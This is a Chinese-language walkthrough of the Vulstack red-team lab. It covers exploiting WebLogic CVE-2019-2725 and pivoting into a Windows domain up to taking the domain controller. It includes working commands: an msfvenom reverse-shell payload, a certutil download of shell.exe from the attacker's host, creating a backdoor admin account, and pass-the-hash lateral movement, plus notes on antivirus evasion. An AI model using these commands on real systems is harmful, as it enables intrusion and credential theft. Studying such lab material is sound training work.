VULSTACK 红队评估(二)

Vulstack红队评估(二)

环境配置

踩坑

webserver一开始用默认密码上不去,这里的解决方案是登录administrator账户,然后修改密码。

部署

网络

新建一个VMNET,编号为1,模式为hostonly,模拟内网环境,网段为10.10.10.0/24

NAT网段为192.168.111.0/24

DC(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.10

WIN7(内网) 网卡选择VMNET1,IPV4地址为 10.10.10.20

WEBSERVER(内外网) 网卡1选择VMNET1,IPV4地址为10.10.10.80,网卡2选择NAT,DHCP auto configuration,本次地址为192.168.111.128

服务

C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录下存在三个批处理文件setDomainEnvstartManagedWebLogicstopManagedWebLogic。点击配置weblogic环境。

启动服务后,访问web服务器ip:7001/console即可自动部署。

web打点

进入weblogic页面后首先尝试弱口令weblogic/weblogic,登陆不进去,考虑使用weblogic扫描器。

通过扫描发现了CVE-2019-2725漏洞,尝试利用。

利用工具:

https://github.com/TopScrew/CVE-2019-2725

这个脚本有个问题,明明import了sys,requests等,但是运行的时候还是会报没有import,很奇怪,把它放到if name=main里面就好了(这里大概率是name==main带来的执行顺序的问题)

顺利运行脚本后,即可获得一个webshell,地址为:

http://192.168.111.128:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

先用webshell查看systeminfo,发现为64位操作系统,尝试使用msfvenom生成64位的reverse shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.129 lport=4444 a- x64 -f exe >/root/Desktop/shell.exe

kali启动apache服务,并将webshell放到/var/www/html目录下

利用Windows自带的工具 certutil下载webshell

certutil.exe -urlcache -split -f http://192.168.111.129/shell.exe

但是不行,直接被360干掉了。

使用java反序列化终极测试工具直接上传冰蝎shell,目录为

1
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

可以直接连上~

下面将shell反弹到msf上,进行下一步的渗透。

内网信息搜集

在meterpreter里面使用run get_local_subnets 获取服务器网卡信息

看到10网段,添加10网段路由:

run autoroute -s 10.10.10.0/24

然后启动socks代理

我这里对代理的理解是在msf启动socks5代理后,设置监听IP与端口,任何使用proxychains进行的动作都会转发到设置好的监听与端口上,与此同时msf设置了通往靶机内网的路由,便可将请求通过(命令)内网主机发送出去。

看一下net user /domain 发现了域内有五个用户

查询域控

1
net group "Domain Controllers" /domain

通过ipconfig /all查询IP地址与DNS服务器地址(一般DNS服务器地址是DC)

使用net config workstation 查询工作站情况

可以确定,当前域为de1ay.com

接下来使用ladon探测内网主机存活情况

利用失败,无回显,在虚拟机查看发现被360拦截掉了。

由于java的meterpreter没有mimikatz模块,所以这里尝试上传Windows的shell并且加载mimikatz模块。(忘记了之前生成的shell被干掉了。。没办法,尝试免杀)

使用go免杀cs成功了,成功上线

接下来尝试添加管理员用户

net user polosec admin@123 /add

net localgroup Administrators polosec /add

由于360拦截 添加失败。

通过漏洞进行权限提升,拿到一个system权限的shell。

探测域内存活主机

将cs会话派生给msf

首先CS新建一个foreign listener,选择https,记住设置的端口号和hsot。

msf一样的配置

注意这里一定要选reverse http 否则meterpreter会die

使用如下命令用ICMP协议探测主机存活:

1
2
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

使用arp -a 查看arp缓存

确定主机大概为:

10.10.10.10(DC),

10.10.10.80,

10.10.10.201

目前10.10.10.80已经被拿下,下面尝试对10.10.10.10以及10.10.10.201主机进行渗透。

渗透域内主机

通过PASS THE HASH 的方式传递NTLM hash实现上线DC和域内主机。

具体方法:

在CS中 view target -add 添加DC的IP,点击jump ,PS EXEC ,选择一个同域的账号密码进行PTH,即可顺利上线DC。

上线DC后再用mimikatz抓一下密码,然后利用同样的方法上线主机10.10.10.201。

顺利上线主机10.10.10.201:

总结

通过本次对vulstack靶场的学习,

进一步了解了CS MSF的用法,加深了对bypass uac 、提权的认识,学习了初步的免杀技巧;

学会了在msf中如何配置路由对内网进行扫描,学习了几个常用的提权方式 比如MS14058 MS15051;

使用pth的方式上线域内主机等等。。

目前存在的问题也非常多,包括不太了解CS,CS的shell掉线不知道是什么问题,以及还有很多很多现在还没有学习到的知识。

针对当前问题的学习目标:了解PTH,掌握mimikatz的用法,了解如何bypass uac,认识更多的提权方法。